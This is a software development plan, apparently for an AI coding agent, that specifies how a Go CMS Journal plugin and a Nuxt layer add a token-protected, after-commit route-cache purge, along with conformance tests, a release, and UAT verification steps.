- "Release: summercms v0.1.20 (the tag after v0.1.19), vue-journal-layer v0.3.0 (check-git-install passes), sm-journal-plugin main requiring v0.1.20, vue-grzybyfunkcjonalne-app main pinning #v0.3.0 and the host gitlinks are on origin; UAT runs the binary and Nuxt output built from those heads (sha256 equal); the purge URL and token exist once in go/.env and the same token once in nuxt/.env, generated on the server and never printed; the on-server smoke passes; an on-server purge answers 200 with purged >= 1 while a POST through nginx answers 403 and one without a token answers 401."
|
||||
- "UAT Test 3 (D-03) on the deployed build: after the human saves posts 1 and 64 untouched, the rows read 1:a026264105f900175b9770e637e5ec5c:a026264105f900175b9770e637e5ec5c and 64:0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c, the post 64 en translation reads 64:en:862fc5b362cc9856e6736a2078dca3ba, and both updated_at values moved past the restart."
|
||||
- "UAT Test 2 (D-19, D-10): after the human changes one word of category 2 and saves, no removal notice appears, the Go log has a successful site cache purge line for kind=category, the /cordyceps page served on the server is not older than the category's updated_at, and the human sees the change on the first view in the browser."
|
||||
artifacts:
|
||||
- path: "modules/cabana/openapi_conformance_test.go"
|
||||
provides: "conformance cases for both 16.2 routes and the Docker-free inventory test"
|
||||
contains: "TestPhase10ConformanceInventory"
|
||||
- path: "scripts/check-phase16.2.sh"
|
||||
provides: "gate with the inventory test in the go stage, the purge tests and the cache stage"
|
||||
contains: "TestPhase10ConformanceInventory"
|
||||
- path: "../sm-journal-plugin/classes/site_cache.go"
|
||||
provides: "SiteCachePurger, NewSiteCachePurger, PurgeSiteCacheAfterCommit"
|
||||
contains: "PurgeSiteCacheAfterCommit"
|
||||
- path: "../vue-journal-layer/server/api/__journal__/cache/purge.post.ts"
|
||||
provides: "token-protected route-cache purge"
|
||||
contains: "purgeRouteCache"
|
||||
- path: "../vue-journal-layer/server/plugins/journal-revalidate.ts"
|
||||
provides: "max-age=0 for browsers on route-cached responses"
|
||||
contains: "privateRevalidate"
|
||||
- path: "../vue-journal-layer/testing/purge-check.mjs"
|
||||
provides: "end-to-end purge check against a built server"
|
||||
contains: "purge-check: ok"
|
||||
key_links:
|
||||
- from: "../sm-journal-plugin/controllers/categories.go and posts.go (FormAfterCreate, FormAfterUpdate, FormAfterDelete)"
|
||||
to: "classes.PurgeSiteCacheAfterCommit"
|
||||
via: "lagoon.AfterCommit on the cabana save transaction"
|
||||
pattern: "PurgeSiteCacheAfterCommit"
|
||||
- from: "../sm-journal-plugin/classes/site_cache.go SiteCachePurger.Purge"
|
||||
to: "../vue-journal-layer/server/api/__journal__/cache/purge.post.ts"
|
||||
via: "HTTP POST on loopback with the shared bearer token"
|
||||
pattern: "api/__journal__/cache/purge"
|
||||
- from: "../vue-journal-layer/server/api/__journal__/cache/purge.post.ts"
|
||||
to: "Nitro cache storage, group nitro/routes"
|
||||
via: "useStorage('cache') getKeys and removeItem"
|
||||
pattern: "nitro:routes"
|
||||
- from: "UAT go/.env SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN"
|
||||
to: "UAT nuxt/.env NUXT_JOURNAL_CACHE_PURGE_TOKEN"
|
||||
via: "the same server-generated value"
|
||||
pattern: "NUXT_JOURNAL_CACHE_PURGE_TOKEN"
|
||||
prohibitions:
|
||||
- statement: "The executor runs only SELECT queries on the UAT database; post and category data change only through human admin saves."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The executor never requests, prints, stores or commits a credential: UAT basic auth, admin password, server .env values and the purge token (generated on the server, compared there, and passed to curl on stdin, never in argv or output)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The live Winter site, its vhost, php-fpm and the PHP database are not touched (Phase 16 D-10)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "No pushed tag is moved or deleted; a defect after a push gets the next tag (v0.1.21, v0.3.1)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "Framework packages, READMEs and docs under summercms.go stay free of consuming-application names; the Journal and layer READMEs use neutral names (the host application, acme, blog)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "Tests are not weakened: the only changed assertion is TestJournalSVGEmbed's stale mlmarkdown check, which now asserts the intended mlblogeditor type."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice: close the two gaps UAT found (16.2-UAT.md, diagnosed 2026-10-10), then release and redeploy so UAT Tests 2 and 3 can be re-run on the deployed build.
|
||||
|
||||
- **G-16.2-1** (UAT Test 1, `.planning/debug/postgres-gate-field-types-conformance.md`): the postgres stage of the phase gate is red. Two 16.2 admin routes have no conformance case, the Journal SVG test still expects `mlmarkdown`, and both checks were hidden inside Docker-only test binaries.
|
||||
- **G-16.2-2** (UAT Test 2, `.planning/debug/category-content-not-on-site.md`): the save was correct, but the host Nuxt app's Nitro swr route cache (`'/**': { swr: 300 }`, Phase 16 decision D-07) kept serving the page rendered before the edit. User decision 2026-10-10: fix it in 16.2. A Journal post or category save in the admin clears the host's route-cache entries, so the site shows the edit on the next view.
|
||||
|
||||
## User decisions (binding, 2026-10-10)
|
||||
|
||||
- Exactly one plan, this one. The user overrode CLAUDE.md lean rule 3 ("unit tests are a separate last plan") for this gap closure. The tests are the final code task (Task 3), before the release tasks. The 2-3 tasks per plan guideline gives way to that decision, so this plan has six tasks.
|
||||
- G-16.2-2 is fixed inside 16.2, by a Journal save event, a token-protected Nuxt server route on 127.0.0.1, and host configuration for the URL and token.
|
||||
- G-16.2-1: two conformance cases, a Docker-free route-coverage check in the gate's go stage, the TestJournalSVGEmbed fix and the PATTERNS checklist line.
|
||||
- The plan ends with the full gate green, including postgres (this machine has Docker), then a release and a UAT deploy following 16.2-05. The UAT-touching steps are checkpoints, as in 16.2-05.
|
||||
|
||||
## Design decisions (planner, within the user decisions)
|
||||
|
||||
- **Where each part lives.**
|
||||
- The Go save event is in **sm-journal-plugin** (`classes/site_cache.go` plus the post and category Form hooks). The framework is unchanged, so no framework README or docs page changes.
|
||||
- The purge route is in **vue-journal-layer**, so every blog host that extends the layer gets it.
|
||||
- The host supplies the URL and the shared token through the server `.env` files: `go/.env` gets `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL` and `..._TOKEN`, and `nuxt/.env` gets `NUXT_JOURNAL_CACHE_PURGE_TOKEN`.
|
||||
- With neither set, nothing changes. Local development and the existing tests need no configuration.
|
||||
- **What is purged.** The route removes every entry of Nitro's route-cache group (`cache:nitro:routes:*`): pages, `_payload.json` and feeds. This is a superset of the decision's list (category and post pages, `/blog` lists and their payloads).
|
||||
- A precise per-page purge cannot be computed from one save. The host's header menu lists every category on every page. The home page, category pages, related posts and the author page all list posts.
|
||||
- Nitro keys entries as the first 16 word characters of the path plus a hash, so matching pages would mean mirroring Nitro internals.
|
||||
- At blog scale, a full purge only costs one fresh render per page on its next view.
|
||||
- **Ordering.** The purge runs through `lagoon.AfterCommit` on the cabana save transaction. If it ran before the commit, a concurrent view could re-cache the old content for the whole TTL. It never runs for a failed save. It runs synchronously before the save response, with a 2 s timeout on `context.WithoutCancel`, so the cache is already clear when the admin sees "saved". Errors are logged, never returned.
|
||||
- **The route is never cached itself.** Nitro wraps every handler whose route matches a host rule such as `'/**': { swr }` in its cached handler. That handler keys by path and does not skip POST (nitropack 2.13.4 `dist/runtime/internal/cache.mjs`), so without a rule a second purge within the TTL would get the first response from the cache. The layer adds `routeRules: { '/api/__journal__/**': { cache: false } }`.
|
||||
- **Browsers.** Nitro answers route-cached pages with `cache-control: s-maxage=<n>, stale-while-revalidate`. That carries no browser max-age, so browsers apply heuristic freshness from Last-Modified. h3's `handleCacheHeaders` answers a 304 with `public, max-age=<n>, s-maxage=<n>` and ends the response itself. After one revalidation, a browser may reuse its copy for the whole TTL without asking, and no server purge would reach it.
|
||||
- The layer's Nitro plugin rewrites every cache-control value that carries s-maxage to include `max-age=0`.
|
||||
- Browsers then revalidate each view, which is a cheap 304 while the page is unchanged. Shared caches keep s-maxage.
|
||||
- The rewrite works through a per-request wrapper of `res.setHeader`, because the 304 path ends the response before any beforeResponse hook runs.
|
||||
- **Guards.** The route is POST only. It answers 404 when the token is missing or shorter than 32 characters. It also answers 404 when the request carries `X-Forwarded-For`, `X-Real-IP` or `Forwarded`: the UAT vhost sets the first two on every proxied request, and the Go caller sends none. A missing or wrong bearer token gets 401, compared in constant time. The UAT vhost already refuses POST to Nuxt (`limit_except GET HEAD`, required by check-deploy.sh), so the route is reachable only on loopback.
|
||||
- **Scope.** Admin saves of posts and categories purge. The public write API (D-09), the import action and tags do not, because the decision names admin post and category saves.
|
||||
|
||||
## Multi-source coverage audit
|
||||
|
||||
| Source | Item | Covered by |
|
||||
|---|---|---|
|
||||
| GOAL | Imported HTML posts edited losslessly, visible on the site | Task 6 (Test 3 md5, Test 2 site view) |
|
||||
| REQ | ROADMAP lists none (TBD); the phase's decisions act as requirements | D-03, D-13, D-18, D-19 below |
|
||||
| CONTEXT | D-03 untouched re-save byte-identical | Tasks 3 (TestPostsAdminPurgesSiteCache untouched update), 6 (Test 3) |
|
||||
| CONTEXT | D-13 global field-type assets (GET /field-types) | Task 3 conformance case |
|
||||
| CONTEXT | D-18 field upload route | Task 3 conformance case |
|
||||
| CONTEXT | D-19 category content on the Blog Editor, visible on the site | Tasks 1, 2, 3, 6 |
|
||||
| GAP | G-16.2-1 conformance case GET /field-types | Task 3 |
|
||||
| GAP | G-16.2-1 conformance case for the field upload route | Task 3 |
|
||||
| GAP | G-16.2-1 TestJournalSVGEmbed expects mlblogeditor | Task 3 |
|
||||
| GAP | G-16.2-1 route-coverage check without Docker in the go stage | Task 3 |
|
||||
| GAP | G-16.2-1 PATTERNS checklist names openapi_conformance_test.go | Task 3 |
|
||||
| GAP | G-16.2-2 save clears the matching host page caches (pages, /blog lists, _payload.json) | Tasks 1, 2 (superset purge, see Design decisions) |
|
||||
| USER | Full gate incl. postgres green on this Docker host | Task 3 |
|
||||
| USER | Release (tag after v0.1.19, plugin/layer/host bumps) and UAT deploy per 16.2-05 | Tasks 4, 5 |
|
||||
| USER | UAT Tests 3 and 2 can be re-run | Task 6 |
|
||||
| RESEARCH | 16.2-RESEARCH.md has no item open for these gaps | none |
|
||||
|
||||
No item is missing. Deferred ideas from 16.2-CONTEXT.md are untouched.
|
||||
|
||||
## Release facts at planning time (2026-10-10)
|
||||
|
||||
- summercms.go: v0.1.19 is tagged and on origin (cf10ce8). UAT never ran it: the UAT binary was built from b5c70b7 at 12:37 UTC. The next tag is **v0.1.20**.
|
||||
- sm-journal-plugin: main 0efaa04 is on origin and requires v0.1.19.
|
||||
- vue-journal-layer: main 782aa4d is on origin. The latest tag is v0.2.0, so the next tag is **v0.3.0** (a new feature).
|
||||
- vue-grzybyfunkcjonalne-app: main 465286a is on origin and pins #v0.2.0.
|
||||
- Host sm-grzybyfunkcjonalne-app: master 0ad1004 is on origin, with journal gitlink 2c78211 (before the review fixes) and vue app gitlink 465286a.
|
||||
- Docker 29.7.2 answers on this machine.
|
||||
|
||||
<objective>
|
||||
Close G-16.2-1 (the phase gate's postgres stage is red) and G-16.2-2 (an admin save does not show on the site until the Nitro swr cache expires). Then run the full gate including postgres, release summercms v0.1.20 and vue-journal-layer v0.3.0 with the plugin and host bumps, deploy to UAT per 16.2-05, and re-run UAT Tests 3 and 2 (D-03, D-19).
|
||||
|
||||
Purpose: the phase cannot pass verification while its gate is red, and editors must see a Journal edit on the site at once.
|
||||
Output: the conformance and purge code and tests in four repositories, an updated gate, pushed tags and heads, a UAT release, and recorded UAT results.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-UAT.md
|
||||
@.planning/debug/postgres-gate-field-types-conformance.md
|
||||
@.planning/debug/category-content-not-on-site.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-PLAN.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md
|
||||
@../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
|
||||
Repositories (siblings of summercms.go; run commands from summercms.go):
|
||||
- summercms.go: framework tests, gate, planning docs.
|
||||
- ../sm-journal-plugin: the Go save event.
|
||||
- ../vue-journal-layer: the purge route, browser revalidation and the end-to-end check.
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app: the layer pin and README.
|
||||
- ../sm-grzybyfunkcjonalne-app: deploy files, docs, gitlinks and the UAT build.
|
||||
|
||||
The host builds the Journal plugin from its own submodule checkout (plugins/golem15/journal) and the framework from ../summercms.go through go.work.
|
||||
|
||||
Server facts (DEPLOY.md, 16.2-05-SUMMARY):
|
||||
- SSH alias `grzybyfunkcjonalne-uat`; install root `/srv/grzybyfunkcjonalne`, with `go/.env` and `nuxt/.env` owned by the deploy user, mode 0600.
|
||||
- The Nuxt rollback copy lives at `nuxt/.output.prev`. Delete the old copy before `cp -a`.
|
||||
- `sudo supervisorctl tail` fails on UAT, so log checks read `/var/log/supervisor/grzybyfunkcjonalne-go.log` from the restart's River `client_id=` anchor.
|
||||
- The UAT realm exempts requests from 127.0.0.1, so on-server curls resolve the host to loopback.
|
||||
|
||||
Helpers to reuse:
|
||||
- `newPostsEnv(t, extraEnv ...string)` and `adminAPI` (../sm-journal-plugin/admin_harness_test.go).
|
||||
- `lagoon.AfterCommit` (modules/lagoon/transaction.go) and `app.Publish`/`app.Lookup` (modules/backpack/app.go).
|
||||
- `startFixtureApi` and `startNuxtServer` (../vue-journal-layer/testing/).
|
||||
- The fail-closed detectors in scripts/check-phase16.2.sh.
|
||||
|
||||
Commits: no co-author tags; one logical change per commit; planning docs and code in separate commits; stage by explicit path in every repository (another session may work in modules/).
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer: a Journal category admin update purges the host Nuxt route cache after commit, one path only (sm-journal-plugin, vue-journal-layer)</name>
|
||||
<reversibility rating="costly">The route path /api/__journal__/cache/purge, the JSON body, the config keys golem15.journal.site_cache.purge_url/purge_token and the env name NUXT_JOURNAL_CACHE_PURGE_TOKEN become host configuration in every blog host; renaming them means editing each host's server .env files.</reversibility>
|
||||
<precondition>`docker info` exits 0 on this machine (the sm-journal-plugin root package harness starts PostgreSQL through testcontainers).</precondition>
|
||||
<files>../sm-journal-plugin/classes/site_cache.go, ../sm-journal-plugin/plugin.go, ../sm-journal-plugin/controllers/categories.go, ../sm-journal-plugin/site_cache_admin_test.go, ../vue-journal-layer/nuxt.config.ts, ../vue-journal-layer/app/utils/siteCache.ts, ../vue-journal-layer/server/api/__journal__/cache/purge.post.ts, ../vue-journal-layer/testing/fixture-api.mjs, ../vue-journal-layer/testing/purge-check.mjs, ../vue-journal-layer/.playground/nuxt.config.ts</files>
|
||||
<read_first>.planning/debug/category-content-not-on-site.md (Evidence and Resolution); ../sm-journal-plugin/plugin.go; ../sm-journal-plugin/controllers/categories.go; ../sm-journal-plugin/controllers/posts.go (db helper, existing Form hooks); ../sm-journal-plugin/admin_harness_test.go (newPostsEnv extraEnv, adminAPI, the pool); ../sm-journal-plugin/categories_admin_editor_test.go (a category PUT through the harness); modules/lagoon/transaction.go (Transaction, AfterCommit); modules/backpack/app.go (Publish, Lookup); modules/compass/env.go (SUMMER_ key mapping: `__` becomes a dot, parts lower-cased); ../vue-journal-layer/nuxt.config.ts; ../vue-journal-layer/server/routes/rss.xml.ts and ../vue-journal-layer/server/api/__sitemap__/journal.ts (server handler style, imports from app/utils); ../vue-journal-layer/app/utils/routes.ts (pure erasable TypeScript helper style); ../vue-journal-layer/testing/fixture-api.mjs; ../vue-journal-layer/testing/nuxt-server.mjs; ../vue-journal-layer/testing/smoke-ssr.mjs (CLI style); ../vue-journal-layer/.playground/nuxt.config.ts; the nitropack runtime in ../vue-journal-layer/node_modules (dist/runtime/internal/cache.mjs: the route cache key is cache:nitro:routes:_:<path>.<hash>.json and POST is not excluded)</read_first>
|
||||
<action>Wire the one path: a category admin update goes through an after-commit purge request to a layer route that clears the route cache. This serves the G-16.2-2 user decision and D-19. Every other save path is Task 2.
|
||||
|
||||
Contract (both repositories implement it; Task 2 documents it in both READMEs): a `POST <purge_url>` with `Authorization: Bearer <token>`, `Content-Type: application/json` and the body `{"kind":"category"|"post","slug":"<slug>"}`. The answer is 200 `{"purged":<n>}`.
|
||||
|
||||
sm-journal-plugin:
|
||||
|
||||
- `classes/site_cache.go` provides the following.
|
||||
- `type SiteCachePurger`.
|
||||
- `NewSiteCachePurger(purgeURL, token string) (*SiteCachePurger, error)`: both empty returns nil, nil (disabled). The tracer checks only that the URL parses with an http or https scheme and a host, and that the token is not empty. Task 2 adds the full rules.
|
||||
- `(*SiteCachePurger).Purge(ctx context.Context, kind, slug string)`:
|
||||
- A nil receiver does nothing.
|
||||
- It sends the contract request with a 2 s timeout on `context.WithoutCancel(ctx)` and reads at most 4 KiB of the answer.
|
||||
- It logs one slog line: Info `journal: site cache purged` with kind, slug, status and purged (when the answer parses), or Warn `journal: site cache purge failed` with kind, slug and the status or the error.
|
||||
- It never logs the token or the Authorization header, and it returns nothing.
|
||||
- `PurgeSiteCacheAfterCommit(ctx context.Context, db *gorm.DB, p *SiteCachePurger, kind, slug string)`: for a non-nil p, it registers p.Purge through `lagoon.AfterCommit(ctx, db, ...)`. The purge then runs only after the surrounding cabana save transaction commits, and never for a failed save.
|
||||
- `plugin.go` Boot reads `golem15.journal.site_cache.purge_url` and `golem15.journal.site_cache.purge_token` from `app.Config`. The env names are `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL` and `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN`. Boot builds the purger, returns a wrapped boot error for invalid configuration, and calls `app.Publish` with it when it is enabled.
|
||||
- `controllers/categories.go` gets a new FormAfterUpdate. It looks up `*classes.SiteCachePurger` through `c.app()` and `Lookup`, then calls `PurgeSiteCacheAfterCommit` with the tx from `cabana.TxFromContext(ctx)`, kind `category` and the saved slug.
|
||||
- New root-package test `site_cache_admin_test.go`, `TestCategoriesAdminPurgesSiteCache` (Docker):
|
||||
- An httptest receiver on 127.0.0.1 records each request. Inside its handler it reads the category's content through the harness pool.
|
||||
- Start with `newPostsEnv(t, "SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL=<receiver>/api/__journal__/cache/purge", "SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=<a 40-character test token>")`, or the harness's equivalent.
|
||||
- PUT an edited category content through `adminAPI`.
|
||||
- Assert exactly one POST, the path, the Bearer token and the JSON body (kind category, the slug).
|
||||
- Assert that the content read inside the receiver is the new content, which proves the purge ran after the commit.
|
||||
|
||||
vue-journal-layer:
|
||||
|
||||
- `nuxt.config.ts`:
|
||||
- `runtimeConfig.journal.cachePurgeToken: ''` (server-only; env `NUXT_JOURNAL_CACHE_PURGE_TOKEN`).
|
||||
- `routeRules: { '/api/__journal__/**': { cache: false } }`. This is required: Nitro wraps a handler matching a host's `'/**': { swr }` rule in a cached handler keyed by path that does not skip POST, so without it a second purge inside the TTL would be answered from the cache without running.
|
||||
- `app/utils/siteCache.ts` is pure erasable TypeScript that node --test can import, like routes.ts:
|
||||
- `MIN_PURGE_TOKEN_LENGTH = 32`.
|
||||
- `authorizePurge({ token, authorization, proxied })` returns `'ok' | 'disabled' | 'proxied' | 'unauthorized'`:
|
||||
- `disabled` when the token is shorter than 32 characters;
|
||||
- `proxied` when the request carried X-Forwarded-For, X-Real-IP or Forwarded (checked before the token);
|
||||
- otherwise the `Bearer` value is compared in constant time, over sha256 digests with node:crypto timingSafeEqual.
|
||||
- `ROUTE_CACHE_BASE = 'nitro:routes'`.
|
||||
- `purgeRouteCache(storage)` takes any object with getKeys(base) and removeItem(key), removes every key under ROUTE_CACHE_BASE and returns the count.
|
||||
- `parsePurgeEvent(body)` returns a kind (post, category or unknown) and a slug, with control characters removed and at most 200 characters.
|
||||
- `server/api/__journal__/cache/purge.post.ts`:
|
||||
- `disabled` or `proxied` answers 404; `unauthorized` answers 401.
|
||||
- Otherwise it runs `purgeRouteCache(useStorage('cache'))` and logs one console.info line: `[journal] cache purge: removed <n> route cache entries (<kind> <slug>)`.
|
||||
- It sets `cache-control: no-store` and returns `{ purged }`.
|
||||
- `testing/fixture-api.mjs`: add `reload()` to the returned object. It re-reads the JSON fixtures; existing behaviour is unchanged.
|
||||
- New `testing/purge-check.mjs` is plain .mjs with JSDoc, so it runs from node_modules like smoke-ssr.mjs. Arguments: `--output <.output> --fixtures <dir> --kind post|category --slug <slug> --path <page path>`. Steps:
|
||||
1. Copy the fixtures to a temp directory and start the fixture API on it.
|
||||
2. Start the built server with a random 48-hex-character `NUXT_JOURNAL_CACHE_PURGE_TOKEN`.
|
||||
3. GET the path (200).
|
||||
4. Append a unique marker paragraph to the entity in the temp fixture (post: content and content_html; category: content) and reload the API.
|
||||
5. GET again and require the marker to be absent. This proves the page is route-cached; if the marker shows, fail with a message about missing swr route rules.
|
||||
6. POST the purge with the token and the contract body. Require 200 and purged >= 1.
|
||||
7. GET again and require the marker.
|
||||
8. POST without a token (401), with a wrong token (401), and with the right token plus X-Forwarded-For (404).
|
||||
9. Print the last line as `purge-check: ok (<n> checks)`.
|
||||
- `.playground/nuxt.config.ts`: add `routeRules: { '/**': { swr: 300 } }` so the playground caches like a real host.
|
||||
|
||||
Commit as feat(...) in each repository, staged by explicit path. Task 2 adds the READMEs.</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 -timeout 15m -run '^TestCategoriesAdminPurgesSiteCache$' -v . 2>&1 | grep -- '^--- PASS: TestCategoriesAdminPurgesSiteCache'</automated>
|
||||
<fails_when>Non-zero exit or no PASS line: vet fails, the harness cannot start PostgreSQL, the PUT sends no purge or more than one, the request lacks the Bearer token or body, or the receiver read the old content (the purge ran before the commit).</fails_when>
|
||||
<automated>pnpm -C ../vue-journal-layer run build:playground && node ../vue-journal-layer/testing/purge-check.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --kind post --slug hello-acme --path /blog/hello-acme | tail -1 | grep '^purge-check: ok'</automated>
|
||||
<fails_when>Non-zero exit or the last line does not start with "purge-check: ok": the playground build fails, the page is not route-cached, the authorized purge does not answer 200 with purged of at least 1, the page still lacks the marker after the purge, or an unauthenticated, wrong-token or proxied purge is accepted.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "func PurgeSiteCacheAfterCommit" ../sm-journal-plugin/classes/site_cache.go` and `grep -n "func TestCategoriesAdminPurgesSiteCache" ../sm-journal-plugin/site_cache_admin_test.go` each print one line.
|
||||
- `grep -n "cache: false" ../vue-journal-layer/nuxt.config.ts` and `grep -n "purgeRouteCache" ../vue-journal-layer/server/api/__journal__/cache/purge.post.ts` each print at least one line.
|
||||
- Both verify commands pass.
|
||||
</acceptance_criteria>
|
||||
<done>One category admin update sends one authorized purge after its commit, and on a built swr site a cached page shows a content change on the first request after that purge; unauthenticated, wrong-token and proxied purges are refused.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 2: Expansion: every admin post and category write purges, boot validates the config, browsers revalidate route-cached pages; READMEs, host app and deploy files</name>
|
||||
<files>../sm-journal-plugin/classes/site_cache.go, ../sm-journal-plugin/plugin.go, ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/categories.go, ../sm-journal-plugin/controllers/admin_registry.go, ../sm-journal-plugin/site_cache_admin_test.go, ../sm-journal-plugin/README.md, ../vue-journal-layer/app/utils/siteCache.ts, ../vue-journal-layer/server/plugins/journal-revalidate.ts, ../vue-journal-layer/testing/purge-check.mjs, ../vue-journal-layer/README.md, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/deploy/env.example, ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example, ../sm-grzybyfunkcjonalne-app/DEPLOY.md, ../sm-grzybyfunkcjonalne-app/README.md</files>
|
||||
<read_first>The Task 1 files; ../sm-journal-plugin/controllers/posts.go (FormAfterCreate, FormAfterUpdate, writeContentHTMLTranslations, FormBeforeDelete); ../sm-journal-plugin/controllers/admin_registry.go; ../sm-journal-plugin/README.md (section order: Overview, Features, Usage, API reference, CLI commands, Dependencies, Testing); the nitropack runtime (dist/runtime/internal/cache.mjs: the cache-control the cached handler writes; h3 handleCacheHeaders: the 304 answer and its cache-control); ../vue-journal-layer/README.md (Configuration, Testing); ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md (Configuration: routeRules bullet and the env table) and nuxt.config.ts (routeRules comment); ../sm-grzybyfunkcjonalne-app/deploy/env.example; ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example; ../sm-grzybyfunkcjonalne-app/DEPLOY.md (Overview, First install, Release); ../sm-grzybyfunkcjonalne-app/README.md (Ports and environment); ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf (location / with limit_except GET HEAD and X-Forwarded-For)</read_first>
|
||||
<action>Expand from the proven slice (G-16.2-2, D-19).
|
||||
|
||||
sm-journal-plugin:
|
||||
|
||||
- Hooks:
|
||||
- posts.go: FormAfterCreate and FormAfterUpdate call `PurgeSiteCacheAfterCommit` with kind `post` and the post's slug, after writeContentHTMLTranslations succeeds. Add a new FormAfterDelete that does the same.
|
||||
- categories.go: add FormAfterCreate and FormAfterDelete (kind `category`).
|
||||
- An untouched update (D-03) still purges. That is harmless, because the stored bytes are unchanged.
|
||||
- Add compile-time assertions for the new hooks in admin_registry.go.
|
||||
- Tags, the posts import action and the public write API (D-09) do not purge. They are outside the decision, which names admin post and category saves.
|
||||
- `NewSiteCachePurger` rules. Boot fails loudly and the error names the key:
|
||||
- only one of url and token is set;
|
||||
- the URL does not parse with an http or https scheme and a host, or it has user info or a fragment;
|
||||
- an http URL whose host is not loopback (127.0.0.0/8, ::1 or localhost), because the bearer token would cross the network in clear;
|
||||
- a token shorter than 32 characters (the layer's minimum).
|
||||
When the purger is enabled, log one Info line at Boot with only the URL's host and path.
|
||||
- `site_cache_admin_test.go`: a `TestPostsAdminPurgesSiteCache` smoke test, in which an edited post PUT sends one purge with kind post after the commit.
|
||||
- `README.md`: a new "Configuration" section between Usage and API reference. It covers:
|
||||
- the two keys and their env names;
|
||||
- the request contract;
|
||||
- the after-commit timing and the 2 s timeout;
|
||||
- that a purge never fails a save;
|
||||
- which writes purge and which do not;
|
||||
- that the receiver is the host's Nuxt app built on vue-journal-layer.
|
||||
Use neutral names only. The Testing section names the new tests.
|
||||
|
||||
vue-journal-layer:
|
||||
|
||||
- `app/utils/siteCache.ts` gains `privateRevalidate(cacheControl: string): string`. For a value that contains `s-maxage`, it sets `max-age=0`: it replaces any `max-age=<n>` or prepends `max-age=0`. Other values are returned unchanged.
|
||||
- New `server/plugins/journal-revalidate.ts` is a Nitro plugin. Its request hook wraps that request's `event.node.res.setHeader`, so every cache-control value passes through privateRevalidate.
|
||||
- Why: Nitro's route cache answers 200 with `s-maxage=<n>, stale-while-revalidate`, which gives browsers no max-age, so they apply heuristic freshness from Last-Modified.
|
||||
- h3 answers a 304 with `public, max-age=<n>, s-maxage=<n>` and ends the response itself, so a beforeResponse hook cannot change it. After one 304, a browser could keep its copy for the whole TTL, past any purge.
|
||||
- Static assets carry no s-maxage and are untouched.
|
||||
- `testing/purge-check.mjs` adds these checks:
|
||||
- After the purge, the page's cache-control contains max-age=0 and s-maxage.
|
||||
- A GET with `If-None-Match: <the new ETag>` answers 304, and its cache-control contains max-age=0.
|
||||
- When `<path>/_payload.json` answered 200 before the change, it carries the marker after the purge.
|
||||
- A second purge after the page was re-cached also reports purged >= 1, which shows the route itself is never cached.
|
||||
- A second server start without the token answers 404 to a POST that carries any token.
|
||||
- `README.md`:
|
||||
- A runtime config row for `runtimeConfig.journal.cachePurgeToken` / `NUXT_JOURNAL_CACHE_PURGE_TOKEN`.
|
||||
- A "Site cache purge" section covering:
|
||||
- the route and the request contract;
|
||||
- the guards: POST only; 404 without a token of at least 32 characters or behind a proxy; 401 on a wrong token; never route-cached;
|
||||
- what it removes: every Nitro route-cache entry (pages, _payload.json, feeds), and why;
|
||||
- browser revalidation;
|
||||
- deployment: the reverse proxy must not forward POST to Nuxt; the purge clears the cache storage of the process that answers, so a multi-process server needs a shared cache storage driver.
|
||||
- Testing mentions purge-check.mjs.
|
||||
- Neutral names only.
|
||||
|
||||
Site app (../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app; commit locally, Task 5 pushes):
|
||||
|
||||
- In README.md, the routeRules bullet says that admin saves of Journal posts and categories purge the route cache. The env table gains a `NUXT_JOURNAL_CACHE_PURGE_TOKEN` row.
|
||||
- The routeRules comment in nuxt.config.ts says the same. The routeRules themselves do not change.
|
||||
- Commit as docs(...). The layer pin waits for the tag (Task 5).
|
||||
|
||||
